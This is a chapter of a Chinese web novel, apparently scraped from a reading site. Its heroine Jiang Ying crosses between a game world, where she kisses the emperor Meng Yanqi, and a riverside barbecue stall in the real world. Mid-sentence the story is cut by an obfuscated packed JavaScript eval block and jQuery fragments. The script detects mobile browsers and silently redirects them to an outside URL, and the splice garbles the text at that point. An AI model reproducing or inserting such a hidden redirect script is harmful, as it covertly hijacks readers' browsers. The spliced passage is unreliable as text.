“你的意图太明显了。”
孟延祈勾起唇角,骨节分明的指尖指了指姜萤的心,“它在说谎。”
“我、我没有。”
姜萤否认道。
“我感受到了。”
孟延祈说,“你的心里很不平静,有恐惧,还有怀疑。你连自己都不相信,如何让孤信你?”
“……我才没有不相信!”姜萤死鸭子嘴硬。
她化被动为主动,抓住孟延祈的手,重复道:“陛下,我在乎的。”
一个伤痕累累的人一遍遍地重复遭受痛苦和折磨。
不该被抛之脑后,不闻不问。
她想在乎的。
“那就证明给孤看,你的在乎。”
孟延祈拉开两人之间的距离,一副审视的姿态。
啊这……
这要怎么证明?
总不能也抱着他啃一顿,以示在意吧?
姜萤一时犯难,不知道是该表忠心,还是……
表白。
这两个字在她脑海里浮现的时候,她悚然一惊,却又觉得或许这就是孟延祈想听的。
但她实在憋不出来。
她咬咬牙,开始对着孟延祈输出彩虹屁:“陛下,从我第一次见到你,就知道你对我来说是特别的人。”
“你总是把压力隐藏得很好,但真正累的时候连开口的力气都没有,对吧?”
“我知道,你只是不愿意让人担心,虽然你表面看起来很好相处,但实际上很难有人真正能走进你的内心。”
姜萤嘴在前面飞,脑袋在后面追。
等她意识到自己说了些什么的时候,网络上“三句话让男人觉得你比亲妈都懂他”的语录已经脱口而出。
“表面看起来很好相处?”
“不愿意让人担心?”
孟延祈狠狠冷笑,“你连敷衍孤都不愿意,何来的在乎?!”
他甩开姜萤的手,居高临下地站起来:“孤给过你机会了,是你自己选的。”
说罢,他转身就走。
“孟延祈!”
姜萤扑到孟延祈身上,抓住他的腰带:“你别走!”
她紧紧地拽住,不愿意放手,“我真的没有骗你,我只是……我只是不知道怎么和你相处。”
“你还在说谎。”
孟延祈头也不回,声音冰冷,“丹莹,孤最恨被人骗。你应该庆幸,孤没有杀了你。”
他挣脱姜萤的挽留,像一抹冷硬的幽魂,渐渐要融入远处的黑暗之中。
姜萤跌坐在地上,望着孟延祈的背影。
不知怎的,她突然感觉,要是这一次放任他离开,或许有些东西就彻底不一样了。
某些柔软的,需要呵护和在意的东西。
会烟消云散。
她猛地从地上弹起,朝孟延祈奔去——
抓住他,拽倒他,然后……
吻上他。
这甚至不能称之为吻。
不过是跌倒的时候嘴碰嘴,两人的嘴唇都被磕出了血。
“噼里啪啦——”
黑色的串珠也做了自由落体,从孟延祈手上散落一地。
珠子们在落地的瞬间就自动回到了姜萤手腕上,串成一圈。
似乎只要不被游戏里的孟延祈拿到,它们就会一次次回到她的手上。
手串和铁链在她腕上叠叠乐,像一层又一层的禁锢。
“陛下……”
母胎solo型选手姜萤还沉浸在不知道自己冲动之下到底干了些什么的恍惚之中,就被孟延祈压住,化被动为主动。
孟延祈细细密密的啃咬从她嘴唇上传来,带着些血的腥甜。
他握上她试图乱动的手,和她十指相扣——
铁链摩擦着两人的肌肤,和手串碰撞着,叮当作响。
温热的气息交织在一起。
抵死缠绵。
突然,手串带着电流的蓝色微光在两人之间亮起,照亮彼此的脸庞。
在下个瞬间之前,姜萤看见孟延祈的瞳孔被蓝色幽光点燃,灿然得像世界上最明亮的湖水。
再然后,那双眼睛变得稍稍圆润,削瘦的面部骨骼也多了些柔和的软组织。
她对面的人从阴郁幽蓝的湖水变成金灿灿的欢快溪流。
她回到了烧烤摊。
“啪嗒。”
穿越前姜萤手上拿着的烧烤铁签凭空掉到铁盘上,却没有引来周遭的人的关注。就好像她一直都在,没有消失过片刻。
在姜萤的视角里,她穿进了游戏不到一个小时,但在现实世界的孟延祈看来,是姜萤消失了不到一分钟,然后又突然出现。
“你是不是又去见他了。”
小孟用筷子戳着盘里的烤茄子,哼哧哼哧地问道。
“霆玉那厮肯定动了什么手脚,现在你消失以后,我都没办法用契约和你沟通了。”他试图挑拨离间,引起姜萤的怜惜。
他还邀功,“放心吧,我帮你做了个障眼法,其他人没发现你不见了。”
小孟的小心思七拐八拐,没听到听姜萤回答,不由得抬头——
“你你你!”
“你是不是亲他了!”
看见姜萤带血的嘴角和通红的耳朵,他从板凳上蹦起来,抓狂不已,“怎么可以!”
声音之大,顿时引来四周的侧目。
而姜萤还在恍惚之中。
游戏里的孟延祈肯定以为这又是她的花招,为了拿回手串逃跑不择手段……
可她!
明明!
已经!
那么豁出去了!
两个人的信任还是就这么哐叽一下,一去不复返了。
等她陡然回神的时候,脸已经被二十岁的孟延祈捧住。
对方咬牙切齿,“你要亲也只能亲我,不许亲别人!”
说罢,嘴唇就凑了上来。
毛毛躁躁,不知轻重。
她x的。
她亲的就是他啊!
姜萤本就受伤的嘴再度遭受痛击,疼得她眼泛泪花。
她一把推开孟延祈,“够了!”
一个二个的把她的嘴当什么名胜风景吗?
打什么卡!
可小孟不依不饶:“不行!”
他声音悲愤,理直气壮,“我都没亲过别人,你怎么能亲别人!”
他的声音从江的这头蹿到江的那头,震得江水都大珠小珠落玉盘。
还震得全世界的八卦都吻了上来。
“这小姑娘,男朋友那么帅,怎么还出轨呢……”
“哎呀,这你就不懂了吧。家花哪有野花香嘛。”
有从开头偷听到结尾的正义之士挺身而出:“人家两人就没在一起,刚还在掰扯着谁喜欢谁呢,这怎么能算偷。”
隔壁桌的义士也附和道,“就是就是。”
“爱看,多偷,哦不,多亲。”
江边乘凉的老太老奶七大姑八大姨,烧烤摊上的大姑娘小媳妇窃窃私语,掩面而笑,目光里满是对她的赞美。
姜萤失去了表情。
她猛地起身,迈出抛夫弃子的步伐。
“哎!美女!你的炒方便面还没上呢!”
老板边抡大铁锅边探出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214454|178251||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头,眼睛里没有对赚钱的渴望,只有想留下八卦的贪婪。
“送隔壁桌吧。”姜萤阴沉着脸。
“哇!”
“谢谢姐姐!”
隔壁桌放学的高中生欢呼起来,“姐姐,我们支持你!谈两个对象也可以!”
……不是……
姜萤扶额,说不出话来,只能扫了老板的付款码,然后光速逃离。
她身后的跟屁虫亦步亦趋,跟着她穿过一条又一条洒下月光的林荫路。
姜萤满脑子都是42说的“五行”。
这次穿越,关键因素明晃晃地从水变成了金属。
现实世界和游戏世界就像是化学方程式的两端,而五行是中间的催化剂。
在她和游戏里的孟延祈同时触碰到催化剂的时候,方程式就会产生反应,穿越就会发生。
烧烤摊上的金属签子、孟延祈的剑、锁她的铁链。
无一不在提醒着她催化剂已经改变。
她甚至发现,似乎她的穿越会扰乱两个世界的时间流速。
但等她退出游戏世界后,那里的时间流速又会自我调节,逐渐和现实世界同步。
就像她一开始穿越进游戏里的时候,两边都是春末夏初,而她在游戏里过了三个月,都已经到了初秋时节,现实世界只却过去了一天。
等她第二次穿进游戏里的时候,游戏世界虽然剧情在往下推进,时节却又回到了夏天。
这种感觉,就像是游戏世界依附现实世界而生,试图最大程度地和现实世界保持一致。
而她是扰乱这种平衡的病毒。
病毒停下脚步。
月光透过树荫的缝隙洒在她的鞋面上,随风微微晃动。
细小的光斑在黑夜中四处摇晃,一会儿亮,一会儿暗,像极了她要找寻的萤火虫。
姜萤脚下一转,往另一个方向走去。
不管两个世界怎么转换,她得要先修好手串。
“弥丽镇实验中学?你来这里做什么?”
望着远远出现的学校大门,小孟疑惑道。
“嘘。”
姜萤狗狗祟祟地拉着孟延祈往校门口保安看不见的小路上钻。她轻车熟路地摸到一侧后墙旁,伸手扒拉周围的草叶——
“果然,这洞还在。”
姜萤说。
墙根处赫然就是一个狗洞,被周围长长的草叶遮得很是严实。
这个洞是姜萤上学时学长学姐们传承下来的宝贵财富,知道的人不多,又分外隐蔽。
她把四周的草往下按了按,蹲下欲钻。
可能是才下过雨不久,又很久没人来,实在算不上干净。
“太脏了,你别钻啊。”
孟延祈有种大姑娘头一回上花轿的无所适从,试图制止姜萤的行为。
他看着洞边的泥土草根,还有刺果小虫,说什么也不愿意靠近。
“怎么?你连这都不敢?”
而姜萤像个老神在在的地痞流氓,往地上一蹲,就差嘴上叼根草,开始调戏良家妇男。她哼了一声,“一个大男人,连这点脏都怕。”
表情挑衅,很难说不是在报复啃嘴之仇。
“我什么时候怕过。”有人梗着脖子强调,“只是大丈夫俯仰天地,哪能这种洞也钻,有辱本皇子威名。”
“什么人?”
两人说话间,尽职尽责到处巡逻的保安发现了不对,喝声问道。
望着手电筒的光由远及近,姜萤也顾不上许多了,“你不钻我钻。”
说罢,准备向前狗刨。
然后腰上一紧,她被人抱了起来——